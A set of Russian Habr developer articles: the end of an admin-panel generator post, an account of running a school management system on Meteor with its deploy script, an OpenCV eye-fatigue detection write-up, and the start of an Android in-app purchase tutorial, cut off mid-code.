* проверка полей в объекте «сервиса», а не при создании «REST API»;
* генерация документации на методы API;
* модуль авторизации, не привязанный к Sonata;
* схема БД завязанная на доступ Партнёров или с наличием ограничений для пользователей;
* генерация сервера на PHP;
Огромным плюсом является то, что это не «теоретическая разработка». Каждый компонент уже был в старых проектах или есть на текущих. Соответственно, список «хотелок» и порядок их реализации продиктован болью эксплуатации ~~(ну и опытом развития чужих генераторов админок)~~.
### Что в планах на ближайший месяц:
* ~~собрать в конце концов стабильную версию с процедурами~~
* перекатиться на PHP, т.к. сервер на ноде в обычной шарашке не развернуть. Да и обслуживать проще и дешевле. (грубо говоря, за 1500 руб. на год уже можно развернуть админку на ~20 тыс. записей)
* добавить работу с файлами
* написать скрипт для установки из коробки, а то сейчас приходится полтора часа копаться, чтобы развернуть проект ~~(и это при том, что я знаю каждый файл в проекте)~~.
Немного про UX
--------------
Писать основной функционал довольно скучно. Когда надоедает, переключаюсь на баги и фичи. Вот одна из них. Есть право-стороние и лево-стороние интерфейсы. Те кто локализацию делают — собирают два вариант (привет badoo). У меня ещё + 2 варианта: для левшей и правшей. Разница в том, что интерфейс зеркалится не полностью, а только панелями управления. Русскому левше удобнее пользоваться отзеркаленными панелями управления, но информацию в таблицах читать слева направо. А левше арабу — наоборот, европейская раскладка панелей, но обратный порядок колонок в таблице.
*Правша европеец*
*Левша араб*
*Левша европеец*
*Правша араб*
В разных проектах нужно разное соотношение зон «результаты поиска» и «редактирование элемента». Например, в книжном приложении для редактирования книг достаточно узкой панели справа. А в игровом приложении — изменение игры лучше делать в центральной части. Так же на это влияет предпочтения конкретного менеджера, который работает с проектом. Поэтому в новой версии соотношение зон «поиска» и «редактирования» можно менять в настройках.
Те, кто работает со статистикой, как правило, много времени проводят в Excel или аналогичных программах. Они привыкли к строкам высотой примерно 16px. Те, кто работает с различными CMS сайтов и веб-мордами на bootstrap`е, привыкли к высоте строки в 32px. Поэтому высота строки так же вынесена в настройки.
[Есть мнение](https://habrahabr.ru/post/143887/), о том что скролл — зло. Почему так вышло — тема отдельной статьи. Я согласен с этим. Но указать точное количество строк, которые поместятся на экране невозможно, т.к. у всех разные мониторы. Поэтому, админка при старте вычисляет оптимальное количество строк для текущих настроек с данным монитором. Их всегда ровно столько, сколько максимально помещается на экране без создания вертикального скролла.
В заключение
------------
Что думаете, коллеги?
Каталогизатор книг, деталей, или любой другой нормативно-справочной информации, с веб-мордой никому не нужен?
**inb4:*** это уже было в Django
* где ссылка на github?
* на реальном проекте не взлетит!
* фу, переписывать на PHP, ставлю минус!!!11
* где чарты? стата на главной — это база!
* нарезать конфиги != кодо-генерации
* всё глючит, продукт сырой
* интерфейс непонятный!
* почему нет React`а?
* это уже было…
* а где скачать установочный файл?
* без анализа данных оно не нужно!
* почему не MongoDB?
* LIKE это медленно!
* а документация будет?
* почему покрытие тестами нулевое?
* верстка не flexbox`ами, убей себя!
* а есть версия для мобильников?
* статья ни о чём!
* у меня вёрстка поехала! | https://habr.com/ru/post/318332/ | null | ru | null |
# Боевой полет на Meteor-e
Обсуждение тем по [Метеору](https://www.meteor.com) редко встретишь среди русскоговорящих (судя по каналу в телеге и паблике вк, Хабр). Обмен опытом возможен, но по большей части на официальном форуме метеора.
На Хабре уже давно не было статей по Метеору, поэтому хотелось бы поделиться нашей историей.
Расскажу про наш проект, как мы пришли к Meteor и как на нем летаем. Постараюсь не углубляться в детали или очень специфические вещи — их оставлю на обсуждение, либо отдельную статью.
### О проекте
У нас онлайн школа программирования для детей. [PolinaV](https://habr.com/ru/users/polinav/) написала [статью](https://habr.com/ru/post/337738/) про то, как мы делаем это онлайн. В начале 2018 года мы начали активно разрабатывать свою систему — Гену.
Гена был нужен нам по нескольким причинам:
* большое количество различных инструментов — excel, сервис для ведения расписаний, формы и т.д.;
* работать с инструментами по отдельности было не удобно.
Для первой версии мы выделили ключевой функционал:
* управление расписанием;
* управление учениками / тренерами;
* управление внутренними задачами.
Мы посчитали количество пользователей, а так же объем данных, который будет сгенерирован. Эта информация и примерный план развития помогли нам заложить будущую архитектуру Гены.
### Гена и Meteor
Я попробовал Метеор в 2016 году, когда нужно было сделать пару простых прототипов. На тот момент у меня были навыки C#(но не ASP), PHP и немного JS.
Хотелось иметь один язык для фронта и бэка, чтобы не усложнять проект и не дублировать логику (возможно, я немного соврал насчет простых прототипов:)). Поэтому решил выбрать только JS, а к нему NodeJS и MongoDB.
Для меня, как и для героя из [этой](https://habr.com/ru/post/312022/) статьи, веб разработка была кучей непонятных названий. А так как опыт разработки уже имелся, я понимал, что есть готовые решения, которые позволяют «просто делать работу», не заморачиваясь об остальном.
Не помню, как был найден Meteor, но он меня подкупил несколькими вещами:
* простота установки / настройки. Одна команда в консоле — и он твой;
* готовый канал передачи данных (WebSocket + [DDP](https://blog.meteor.com/introducing-ddp-6b40c6aff27d));
* встроенная БД — MongoDB (+[minimongo](https://github.com/mWater/minimongo));
* простой инструмент для написания UI — [Blaze](http://blazejs.org);
* неплохая документация и статьи/видео по теме.
После реализации нескольких прототипов, я начал следить за развитием Метеора, изучать внутренности и пилить мелкие проекты для себя.
И вот настал черед выбора инструмента для реализации Гены. Опущу подробности поиска других инструментов, оставлю доводы в пользу метеора:
* как писал выше — все в одной коробке;
* можем пожертвовать производительностью и потреблением ресурсов взамен удобству разработки;
* хотим быстро получать новые фичи, чтобы потом их либо улучшить, либо выкинуть;
* можно за небольшой промежуток времени (2-3 дня) подключить JS разработчика к проекту;
* имеется [база](https://atmospherejs.com) готовых пакетов.
Отдельно скажу про [Blaze](http://blazejs.org) — намеренно взял более простое решение, чтобы не тратить время на изучение более сложных React/Vue (да, не впрыгнули в хайп трейн).
Для ведения задач и документации используем Jira + Confluence. Код поселили в Bitbucket.
В итоге сложилось такое мнение:
* если у тебя что-то очень простое, бери сырой JS/CSS/HTML и делай (лендинг, например);
* если есть специфические требования к производительности, ресурсам, функциям — ищи;
* в остальных случаях — бери готовый фреймворк, например, Meteor. Если правильно «готовить», то проблем возникнуть не должно.
### Процесс разработки
После выбора инструмента началась фаза реализации задуманного. Мы не всегда до конца продумываем требования, поэтому порой приходится переделывать фичу несколько раз. Так же у нас очень много идей, и мы стараемся как можно скорее выкатить и потестить их на реальных пользователях.
Структура проекта (структура папок и файлов) помогает избежать вопросов что и где должно лежать. Об этом написано в [документации](https://guide.meteor.com/structure.html#javascript-structure). Писать легко поддерживаемый и расширяемый код проще, когда есть четкое разделение. UI функционал разбит на компоненты, что позволяет изолировать функциональные блоки и переиспользовать их, а при рефакторинге не ломаешь пол проекта:).
Существует много [готовых пакетов](https://atmospherejs.com), которые решают определенные задачи. Например, из коробки Метеор предоставляет аккаунт менеджмент(регистрация, авторизация и т.д.), отправку Email. Сторонние решают другие задачи. Часть из них является прослойкой для *npm* пакетов, поэтому база готовых решений очень большая.
Моей ошибкой было отказаться от тестов. Решение это было связано с тем, чтобы сэкономить время, ведь «клиенты тесты не видят». Однако наблюдая ситуацию с возникающими багами в Jire понял, что пора менять подход. Вернули тесты и начали писать по TDD. Вдобавок, после попадания кода в develop ветку, начали запускать тесты через [CircleCI](https://circleci.com), чтобы убедиться, что никто ничего не сломал.
Для поддержания Code Style настроили ESLint + [prettier](https://prettier.io). Это позволяет избежать правок по стилю и нелепых ошибок на этапе рассмотрения PR(pull request). А чтобы «плохой» код не дошел до гита, был настроен [Husky](https://github.com/typicode/husky) — инструмент, который умеет выполнять необходимые задачи на этапе коммита (и не только). Таким образом, перед попаданием кода в коммит, он проходит проверку через eslint и prettier.
Стоит отдельно упомянуть про важный минус — скорость сборки проекта. Первый раз сборка занимает примерно 30 секунд, в зависимости от железа. Далее, при изменении кода, процесс занимает примерно 5-10 секунд. На слабом железе числа могут быть больше. Я пользуюсь MacBook pro mid 15, i7, 16gb, мне норм.
Гену решили запустить на Digital Ocean. Причина одна — цена. [Официальный хостинг](https://www.meteor.com/hosting) для метеора дорогой. AWS дешевле, но сложнее, чем DO. Есть и другие альтернативы, но остановились на DO.
### Полет
На данный момент у нас одновременно может быть до 100 пользователей, подключенных к Гене. Это не так много, но и запас прочности у нас большой. Рассчитываем выдержать 1000CCU на текущей конфигурации.
Пока нам хватает двух 10$ серверов + 5$ прокси (для балансировки). Каждый сервер — это nodejs app + MongoDB. Отдельно запущен сервер для мониторинга. Рост трафика у нас прогнозируемый, поэтому развернуть новые сервера успеем (поднять дроплет и дописать строчку в upstream).
Выливать новую версию Гены — одно удовольствие. Для этого был написан небольшой скрипт, который собирает проект в tar (командой *meteor build*), заливает на сервера, распаковывает, выполняет *npm i* и запускает демона. Обычно это занимает 1 минуту.
Если опустить подробности, то примерно так (если будет интересно, подготовлю gist):
**скриптик**
```
#локально
meteor build --architecture=os.linux.x86_64 --server-only $BUILD_PATH
scp $TAR_FILE_PATH $SERVER_APP_PATH
#на сервере
cd $APP_ROOT
rm -r bundle
tar -xzf $TAR_NAME
cd $APP_ROOT/bundle/programs/server/ && npm i -q
cd $APP_ROOT/bundle
sudo forever-service install $SERVICE_NAME --script $APP_ROOT/bundle/main.js --envVars "$ENV_VARS"
sudo service $SERVICE_NAME start
```
За Геной наблюдаем через [Kadira](https://github.com/meteorhacks/kadira) (картинка в начале поста). Пришлось немного потанцевать с бубном чтобы запустить на своих мощностях, но оно того стоило. Все наглядно и понятно.
Со стабильностью проблем еще не было. Случайных сбоев или утечек памяти не наблюдается.
### Заключение
Гену мы запустили через пол года после старта. Команда выросла, как и Гена. Скорее всего, мы перерастем монолит и появятся микросервисы, очереди, отдельные пакеты и т.д. Но это уже совсем другая история…
Метеор меняется. Тем, кто пробовал его на версии 1.4 и ниже, рекомендую посмотреть [список изменений](https://docs.meteor.com/changelog.html). Надеюсь, вы будете приятно удивлены.
Список полезных материалов по Метеору:
* [официальный гайд](https://guide.meteor.com)
* [рассматриваются проблемы производительности и как их решать](https://galaxy-guide.meteor.com/apm-know-your-observers.html)
* [план развития](https://github.com/meteor/meteor/blob/devel/Roadmap.md)
Кто работает с метеором или заинтересован — [присоединяйтесь](https://t.me/joinchat/B8hRLw0BbqbCaMBUKx2lrg) к нашему чатику в телеграмме.
Прошу прощения, если не раскрыл каких-то важных тем, постараюсь ответить в комментариях. | https://habr.com/ru/post/437166/ | null | ru | null |
# Как мы спасали глаза с OpenCV
Материалы этого поста задержались с выходом в свет на 4 месяца. Мы — молодая команда разработчиков, и только учимся нарушать dead-лайны, но кажется, что получается уже неплохо. Предыстория в [этой статье](http://habrahabr.ru/post/197986/), где мы и обещали выложить продолжение. Рассказ пойдёт о том, как же наше приложение работает (или не работает, решать читателю).
Какое приложение? Мы — команда проекта Viewaide (бывший EyeDoc) и пишем софт, который при помощи веб-камеры определяет параметры усталости глаз и выводит уведомления, задача которых снизить риск ухудшения зрения вследствие долгой работы у монитора. Чем 100 раз услышать, лучше 1 раз увидеть.
Скачать и попробовать можно по [этой ссылке](http://viewaide.com), как говорится, “бесплатно, без смс”. Кроме софта, у нас имеется ещё и часть web-сервиса, но обо всём по порядку.
О том, как нам больно осознавать, что монитор вреден для глаз, описано в [предыдущей статье](http://habrahabr.ru/post/197986/), но вкратце хочется сказать, что заниматься такими вещами мы начали не ради наживы (хотя кто от неё откажется), а ради решения собственной проблемы. Еще год назад, когда мы только начинали работу над проектом, проблема стояла остро: один сооснователь с трудом ловил маршрутки, а второй активно приближался к показателям зрения первого. Чтобы не быть голословным, немного цифр.
[Компьютерный зрительный синдром](http://www.computer-vision-syndrome.org) (КЗС) — это временное состояние, возникающее в результате длительной беспрерывной фокусировки глаз на дисплее.
По [некоторым источникам](http://en.wikipedia.org/wiki/National_Institute_of_Occupational_Safety_and_Health), зрительным симптомам данного синдрома подвергается около 75% людей, которые работают за компьютером более 3 часов в день.
КЗС возникает в результате усталости глаз, следствием чего являются: головные боли, затуманенное зрение, покраснение в глазах, напряжение, усталость, сухость глаз, а в результате — потеря остроты зрения. Также это может послужить поводом для развития более серьезных глазных заболеваний. Что уж говорить, если около 40 миллионов американцев страдают от синдрома сухого глаза. Симптомы сухого глаза являются причиной № 1 для визитов к офтальмологу в Соединенных Штатах.
Изучив подробнее материал по этой теме в сети, пообщавшись с офтальмологами, мы узнали, что усталость глаз можно определить по некоторым параметрам:
* прищуривание
* частота моргания
* средняя дистанция между монитором и юзером и т.д.
Это именно те факторы, по которым можно определить, устали ли глаза у человека. А впоследствии и само игнорирование этих мелочей может еще больше усугубить ситуацию.
Откровенно говоря, идея пришла не после дотошного исследования рынка и анализа современных тенденций IT, а после того, как мы подумали: “Чего бы такого закодить, чтоб покруче?” Год назад крутым показался Image Processing. Затем мы пораскинули мозгами: “Web-камера постоянно перед носом, неужели она нужна только для того, чтобы поговорить в Skype?” Хотелось создать не только что-то крутое, но и полезное. Так и появилась мысль, что если глаза всегда находятся в зоне видимости камеры, то нужно только правильно обработать их изображение, учитывая различные факторы (параметры усталости глаз приведены выше), и авось что-то получится.
Выбор средств разработки пал на [Qt](http://qt-project.org) + [OpenCV](http://opencv.org). Qt приглянулся не только потому, что был красивого зелёного цвета, c удобным редактором кода и подсветкой синтаксиса, а и потому, что давал шанс создавать кроссплатформенные приложения людям с закалкой С++. Сейчас зарождается надежда на то, что можно будет писать полноценные [мобильные приложения](http://qt.digia.com/Product/Qt-for-Mobile-Development/Qt-Mobile-Edition/). Поживём — увидим. Если Qt отвечал за GUI, то нужно было еще что-то для работы с изображениями. OpenCV — библиотека, написанная адептами компьютерного зрения из Intel. В ней есть очень подробная документация и множество примеров в сети. Ах да, все эти инструменты разработки являются бесплатными, в том числе и для коммерческого пользования, что является большим плюсом.
Задача №1 Получить изображения глаз с помощью web-камеры.
---------------------------------------------------------
Если с изображением можно совершать какие-то манипуляции, то для начала его нужно получить. А в данном случае достаточно получить всего лишь изображение глаз. Получение потокового видео из web-камеры опустим, в сети имеется предостаточно [примеров](http://robocraft.ru/blog/computervision/275.html).
Поиск объектов на изображении в OpenCV реализован [методом Виолы-Джонса](http://habrahabr.ru/post/133826/). Тема распознавания образов не пристрастна к частым инновациям, метод был представлен в 2001 году, и спустя 13 лет всё ещё является ведущим в своей области. Если вкратце, метод подставляет к изображению так называемые примитивы Хаара, которые являются набором элементарных сочетаний тёмных и светлых областей, и если на изображении найдена область, в которой подходит достаточное количество примитивов, то объект найден. Для того чтобы понять, светлая эта область или тёмная, необходимо просуммировать значение соседних пикселей. Для того чтобы не делать это много раз в процессе поиска объекта, изображение переводится в [интегральное представление](http://robocraft.ru/blog/computervision/536.html). Несмотря на все оптимизации по скорости работы метода, поиска лица на видео в real-time на бюджетном ПК добиться нельзя. Или всё же можно?
Итак, задача — найти глаза пользователя с помощью web-камеры. Возьмем изображение разрешения 640х480.
```
сvHaarDetectObjects(frame,left_eye_cascade,storage,1.1,3,CV_HAAR_DO_CANNY_PRUNING,cvSize(22,22);
```
Цель этой функции — найти левый глаз. Если решать задачу в лоб, то скорость будет просто ужасной, а загрузка процессора слишком большой для фонового приложения. К тому же произойдет много лишних срабатываний. Поэтому решено — нужно начинать с поиска лица.
```
сvHaarDetectObjects(frame,face_cascade,storage,1.1,3,CV_HAAR_DO_CANNY_PRUNING,cvSize(80,80);
```
Работает уже пошустрее. Что же изменилось? Последний аргумент функции определяет минимальный размер искомого объекта. В многочисленных примерах OpenCV указано, что для глаз нужно искать область как минимум 22х22 пикселя, а для лица можно и 80х80. Тут становится понятно, почему поиск лица работает быстрее: пройти по всему изображению областью 22х22 — это далеко не так быстро, как 80х80. Для сравнения, на моей машине Intel Core 2 Duo 2.2 GHz, RAM 2 Gb функция поиска глаз осуществляется в среднем за 900 миллисекунд, а поиск лица – за 200 миллисекунд.
Как известно, лицо не квадратное (если только наш пользователь не Губка Боб). Давайте сделаем минимальную область поиска прямоугольной. При таких цифрах время работы занимает уже 160 миллисекунд.
```
сvHaarDetectObjects(frame,face_cascade,storage,1.1,3,CV_HAAR_DO_CANNY_PRUNING,cvSize(80,120);
```
Что это за 3-й аргумент, равный 1.1? Это шаг, с которым “поисковое окно” расширяется. То есть, если не нашлось лица с размерами 80х120, то размер умножается на 1.1. А что если увеличивать не на 10%, а на 20%? Неплохо, время работы уже 100 миллисекунд.
```
сvHaarDetectObjects(frame,face_cascade,storage,1.2,3,CV_HAAR_DO_CANNY_PRUNING,cvSize(80,120);
```
И ещё одна мысль. Зачем нам изображение 640х480? Если уменьшить его в 2 раза (теперь 320х240), то и искать нужный объект можно быстрее. Уменьшив изображение, мы видим, что лицо видно всё так же хорошо. Логично, что и скорость увеличилась в 2 раза, время работы — 50 миллисекунд.
```
сvHaarDetectObjects(frame,face_cascade,storage,1.2,3,CV_HAAR_DO_CANNY_PRUNING,cvSize(40,60);
```
Поиск лица работает более или менее сносно, но нам всё-таки нужны глаза. Нет смысла искать их на всём лице. Лучше выделить области, где они в принципе могут располагаться. Идею легко проиллюстрировать.
Уже внутри этих областей мы и будем искать глаза. Согласитесь, что объёма работы стало значительно меньше по сравнению с объемом работы при поиске по всему изображению. К тому же, вероятность ложного срабатывания уже невысока.
А нужно ли нам искать лицо в каждом кадре? Вряд ли. Главная цель — найти глаза. Чтобы не усложнять процессору жизнь, усложним её себе. Когда глаз найден, берём прямоугольник, в котором он находится, и увеличиваем площадь в 2 раза. Затем накладываем эту область на следующий кадр видео с web-камеры, и вуаля! При достаточно высоком fps (а мы только что постарались, чтобы ускорить обработку каждого кадра) в этой области очень вероятно найти наш глаз.
На скриншоте — основные этапы оптимизированного поиска глаз. Если глаза не будут найдены, то после нескольких попыток нужно вернуться к поиску лица.Теперь функция поиска, со всеми её составляющими, занимает в среднем 30 миллисекунд процессорного времени, что в 30 раз меньше, чем подход “в лоб”.
Задача №2 Определение расстояния до монитора.
---------------------------------------------
Для решения данной задачи нам запредельно помогла [эта статья](http://alexkutsan.blogspot.com/2012/10/pythonopencv.html).В данном примере автор приводит нам достаточно простую геометрию, демонстрируя работу веб-камеры:
В этом случае, мы видим, что треугольники ABC и ECD подобны. Проведем две высоты от точки С и уберем всю лишнюю информацию.
Теперь, глядя на геометрический вариант работы веб-камеры, мы понимаем, что отношение сторон AB/CF равно отношению ED/CH. Давайте же вычислим это соотношение. Делается это очень даже просто. Расположим линейку 10-и см длиной перед веб-камерой так, чтобы она вмещалась в кадр от края до края. После чего, измерим расстояние от камеры до линейки. Наш результат будет равен 16 см. Отношение расстояния к длине линейки, соответственно, 16/10=1.6.
Если область лица полностью войдет в кадр, мы получим расстояние, равное 24-м см (1.6\*15). Почему 15 см? Потому что средняя длина лица человека именно такая. Погрешность из-за усреднённого значения почти незаметна (только если вы, повторюсь, не Губка Боб). Теперь дело за малым. Нужно определить расстояние, если лицо занимает менее 100% в кадре. Для этого достаточно определить количество сантиметров в одном проценте. А это 24/100=0.24. Таким образом, мы вычисляем, что расстояние до монитора = 24 + (100% — процент занятого пространства лицом в кадре) \* 0.24.
В действительности, мы берем за точку отсчёта не область лица, а расстояние между глазами. Это обусловлено тем, что поиск глаз осуществляется при каждой итерации работы приложения, а поиск лица — только при необходимости. Да и вообще, It`s all about eyes.
Задача №3 Определение прищуривания/моргания.
--------------------------------------------
В общем-то, прищуривание — параметр очень субъективный. И можно было бы не задумываться о нем, если бы не замечания родителей в детстве “не щурься, юзернейм”. Тем не менее о его реализации нужно рассказать, так как отсюда вытекает распознавание морганий.
Вопрос первый: что отличает полностью открытый глаз от полузакрытого или закрытого? Расстояние между веками. Значит, его и нужно искать. На изображении веки представлены тонкой границей цветового перехода. Тогда решением становится поиск границы на изображении.
Между делом, хотелось бы посоветовать весьма занимательную книгу [Марр Д. — Зрение. Информационный подход к изучению представления и обработки зрительных образов](http://rutracker.org/forum/viewtopic.php?t=2127548). В ней описан достаточно интересный подход к человеческому зрению в соответствии с теорией информации. Если придерживаться описываемой в приведённой литературе теории, то даже такие чудеса зрения, как стереоскопия, начинаются с поиска границ на изображении. Самый популярный детектор границ — [детектор границ Кенни](http://robocraft.ru/blog/computervision/484.html). То ли изображение было уж очень маленьким, то ли руки были кривые, то ли луна не в той фазе пребывала, но результаты оказались неточными, поэтому пришлось немного углубиться в детали.
Классический поиск границ мы начинаем с применения фильтра Гаусса, который помогает избавиться от шумов. На деле же оказывается, что изображения глаз настолько малы и пикселизированны, что в дополнительном размытии не нуждаются. Следующий шаг — поиск граней. Грани являются ничем иным, как резкими цветовыми переходами. Для удобства можно преобразовать изображение в монохромное. Всё равно границы век представляют собой контрастный переход, а чёрно-белое изображение прекрасно это отражает, только обрабатывать его легче.
Чтобы найти резкий переход яркости, мы используем дифференциальный оператор (для данной операции лучше всего подходит [оператор Лапласса](http://robocraft.ru/blog/computervision/460.html). Так же применяют оператор Собеля). Не вдаваясь в подробности, давайте подумаем, почему дифференциальный? Если края представляют собой резкий цветовой переход, то разница между суммой значений соседних пикселей на границе и возле неё должна быть больше, чем на области одного цвета. Если заменить “сумма значений пикселей” словом “функция”, то понятно, что нас интересует места резкого её изменения. Как раз для таких ситуаций товарищи Лейбниц и Ньютон придумали дифференциальное исчисление.
```
сvLaplace(eye, dst, 9);
```
OpenCV имеет готовую реализацию данного оператора с простым применением. Поэтому достаточно указать исходное изображение, адрес для результирующего, а так же размерность квадратной матрицы пикселей, которым оператор будет “идти” по изображению, совершая обряд дифференциала.
Чтобы убрать лишние участки в области выделения, да и вообще облегчить себе жизнь, можно бинаризировать изображение (проще говоря, оставить всего 2 цвета: чёрный и белый, никаких оттенков). Для этого можно воспользоваться пороговым преобразованием. Для начала считаем средний цвет пикселей, а затем всё, что ниже этого значения, преобразуем в чёрное, что выше — в белое.
```
cvThreshold(dst,dst,threshold,255,CV_THRESH_BINARY);
```
Здесь threshold и есть наше среднее значение. Далее необходимо выполнить несколько косметических улучшений, таких как: кластеризация белых пикселей (граней), чтобы выделить наибольшие скопления и удалить ложные; сортировка кластеров по площади (но это уже не столь важно, к тому же не хочется утомлять читателя или забрасывать его кодом, особенно, если он дочитал досюда, что уже приятно).Проиллюстрируем поэтапно вышеописанный процесс.
Остаётся только посчитать количество пикселей между верхней границей и нижней (верхним и нижним веком) и сравнить с нормальным состоянием, которое сохраняется во время калибровки.
Ах да, как же реализовать распознавание моргания? Всё просто, закрытый глаз характеризуется тем, что его верхнее веко ниже средней линии глаза, именно это условие и проверяется.
Задача №4 — Определение уровня освещения.
-----------------------------------------
Уровень освещения также играет важную роль, если вы беспокоитесь о своем зрении. Рабочую зону можно считать не слишком удачно организованной, если вы работаете в темной комнате, а яркий дисплей запредельно слепит ваши глаза. Также лучше не стоит засиживаться перед компьютером, если за экраном вам в глаза светит другой яркий источник света. Еще не надо забывать о бликах, которые монитор может создавать от источника света, располагающийся у вас за спиной. Вряд ли возможно полностью устранить такую проблему с помощью веб-камеры. Но мы все же попытались осуществить частичное ее решение.
Итак, что для этого нужно сделать? Для начала нам необходимо разделить изображение на 2 части: лицо и все остальное, то есть фон. Мы будем сравнивать яркость этих двух картинок. Можно с легкостью преобразовать изображение в монохромное, так как нам неважно, какую насыщенность считать, суммарную или разделенную по трем каналам (RGB). Следующий наш шаг состоит в том, чтобы построить гистограммы по двум изображениям. Эта процедура необходима нам для того, чтобы впоследствии иметь представление об общем уровне яркости изображения.
В итоге, по горизонтальной оси представлена яркость, а по вертикали — относительное число пикселей с конкретным значением яркости. Далее мы условно делим пиксели на светлые и темные. Из каждого изображения выделяется 4 группы. Теперь при определенном анализе и сравнении между собой этих 4 групп мы можем сделать несколько выводов: когда все кол-во темных пикселей значительно преобладает и на лице, и на фоне, то, мы работаем в темной комнате, а свечение издает лишь монитор. Когда кол-во светлых пикселей на лице значительно больше, чем на фоне, то значит, что за монитором есть еще какой-то источник света, который светит нам прямо в лицо. Это может быть как настольная лампа, так и солнце за окном. Пример разбиения изображения на лицо и фон с последующим построением гистограмм представлен ниже.
В данном случае пользователь находится в тёмной комнате, а настольная лампа светит прямо в лицо, что не есть правильно. Вполне логично полагать, что здесь мы не можем учитывать разницу между кол-вом света, цветом и его насыщенностью. Мы пытались осуществить это несколькими способами. Однако гистограммы оказались самым эффективным способом спрогнозировать уровень освещения.
Нельзя не сказать, как занимателен процесс тестирования всей этой радости. И как обидно, когда у тебя дома всё работает “на ура”, а при демонстрации приложения знакомым — то в носу глаз определит, то ещё где похуже. Алгоритмы определённо нуждаются в постоянной оптимизации. Но если после месяца работы результаты пугали своей неточностью, то через год мы сами начали пользоваться своим приложением. В нем всё ещё много неожиданных багов, но на собственном опыте можно сказать, что в целом всё работает сносно. Иногда ты начинаешь щуриться из-за непривычной яркости, иногда, погруженный в работу, ты приближаешься к монитору и действительно не замечаешь этого. Вот тут-то Viewaide и подсказывает тебе невнимательному. Сейчас настал момент поделиться результатом нашей работы с IT-сообществом, с теми, кто чаще задумывается о возможном ухудшении зрения или о снижении работоспособности.
На данный момент доступна полноценная Windows-версия, а так же Beta-версия на Mac. В течение месяца мы планируем выпустить готовое приложение на Mac и Linux. И если хабрасообщество заинтересуется, то в свет выйдут 2 статьи о тонкостях портирования Qt приложения с Windows на Mac и Linux.
Мы будем признательны за любую критику. И если вы ещё не скачали Viewaide, то самое время [это сделать](http://viewaide.com). | https://habr.com/ru/post/215771/ | null | ru | null |
# Android in-app purchases, часть 2: инициализация и обработка покупок
Привет всем, я Влад, core разработчик [Android SDK для обработки платежей в мобильных приложениях](https://adapty.io/sdk/android?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_initialization-and-processing) в Adapty
Это вторая статья из нашего цикла о реализации покупок на Android. [В первой статье мы рассказывали](https://habr.com/ru/company/adapty/blog/568902/) о том, как создавать продукты в Google Play Console, сконфигурировать подписки и получить список продуктов в приложении. Cоветую познакомиться и с остальными:
1. [Android in-app purchases, часть 1: конфигурация и добавление в проект.](https://habr.com/ru/company/adapty/blog/568902/)
2. Android in-app purchases, часть 2: инициализация и обработка покупок. — Вы тут
3. [Android in-app purchases, часть 3: получение активных покупок и смена подписки.](https://habr.com/ru/company/adapty/blog/573058/)
4. [Android in-app purchases, часть 4: коды ошибок от Billing Library и как не облажаться с тестированием.](https://habr.com/ru/company/adapty/blog/575866/)
5. [Android in-app purchases, часть 5: серверная валидация покупок.](https://habr.com/ru/company/adapty/blog/576164/)
В прошлой части мы создали класс-обертку для работы с Billing Library:
Класс-обертка для работы с Billing Library
```
import android.content.Context
import com.android.billingclient.api.*
class BillingClientWrapper(context: Context) : PurchasesUpdatedListener {
interface OnQueryProductsListener {
fun onSuccess(products: List)
fun onFailure(error: Error)
}
class Error(val responseCode: Int, val debugMessage: String)
private val billingClient = BillingClient
.newBuilder(context)
.enablePendingPurchases()
.setListener(this)
.build()
fun queryProducts(listener: OnQueryProductsListener) {
val skusList = listOf("premium\_sub\_month", "premium\_sub\_year", "some\_inapp")
queryProductsForType(
skusList,
BillingClient.SkuType.SUBS
) { billingResult, skuDetailsList ->
if (billingResult.responseCode == BillingClient.BillingResponseCode.OK) {
val products = skuDetailsList ?: mutableListOf()
queryProductsForType(
skusList,
BillingClient.SkuType.INAPP
) { billingResult, skuDetailsList ->
if (billingResult.responseCode == BillingClient.BillingResponseCode.OK) {
products.addAll(skuDetailsList ?: listOf())
listener.onSuccess(products)
} else {
listener.onFailure(
Error(billingResult.responseCode, billingResult.debugMessage)
)
}
}
} else {
listener.onFailure(
Error(billingResult.responseCode, billingResult.debugMessage)
)
}
}
}
private fun queryProductsForType(
skusList: List,
@BillingClient.SkuType type: String,
listener: SkuDetailsResponseListener
) {
onConnected {
billingClient.querySkuDetailsAsync(
SkuDetailsParams.newBuilder().setSkusList(skusList).setType(type).build(),
listener
)
}
}
private fun onConnected(block: () -> Unit) {
billingClient.startConnection(object : BillingClientStateListener {
override fun onBillingSetupFinished(billingResult: BillingResult) {
block()
}
override fun onBillingServiceDisconnected() {
// Try to restart the connection on the next request to
// Google Play by calling the startConnection() method.
}
})
}
override fun onPurchasesUpdated(billingResult: BillingResult, purchaseList: MutableList?) {
// here come callbacks about new purchases
}
}
```
Перейдем дальше к реализации покупки и дополним наш класс.
### Создание экрана с подписками
В любом приложении, которое использует встроенные покупки, присутствует пейволл. Есть [требования от Google](https://support.google.com/googleplay/android-developer/answer/9900533), которые определяют минимальный набор необходимых элементов и поясняющих текстов для подобных экранов. Если коротко, на пейволле вы должны прозрачно показать пользователю условия, цену и длительность подписки и обязательна ли подписка для использования приложения. Нельзя принуждать пользователя к дополнительным действиям ради получения информации об условиях подписки.
На данном этапе для примера мы сделали упрощённый вариант пейволла:
Итак, на нашем пейволле располагаются следующие элементы:
* Заголовок.
* Набор кнопок для инициализации процесса покупки. На них указаны основные свойства продуктов: название и цена в местной валюте.
* Поясняющий текст.
* Кнопка восстановления прошлых покупок. Этот элемент необходим для всех приложений, в которых используются подписки либо non-consumable покупки.
### Доработка кода для отображения информации о продуктах
В нашем примере четыре продукта:
* две автовозобновляемые подписки ("premium\_sub\_month" и "premium\_sub\_year");
* продукт, который нельзя купить повторно, — non-consumable (“unlock\_feature”);
* продукт, который можно покупать много раз, — consumable (“coin\_pack\_large”).
Для упрощения примера будем использовать Activity, в которую заинжектим `BillingClientWrapper` из предыдущей статьи, и layout с жестко заданным количеством кнопок для покупки.
```
class PaywallActivity: BaseActivity() {
@Inject
lateinit var billingClientWrapper: BillingClientWrapper
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_paywall)
displayProducts() //to be declared below
}
}
```
Для удобства добавим словарь, где ключом является [sku](https://developer.android.com/reference/com/android/billingclient/api/SkuDetails#getSku()) продукта, а значением - соответствующая кнопка на экране.
```
private val purchaseButtonsMap: Map by lazy(LazyThreadSafetyMode.NONE) {
mapOf(
"premium\_sub\_month" to monthlySubButton,
"premium\_sub\_year" to yearlySubButton,
"coin\_pack\_large" to coinPackLargeButton,
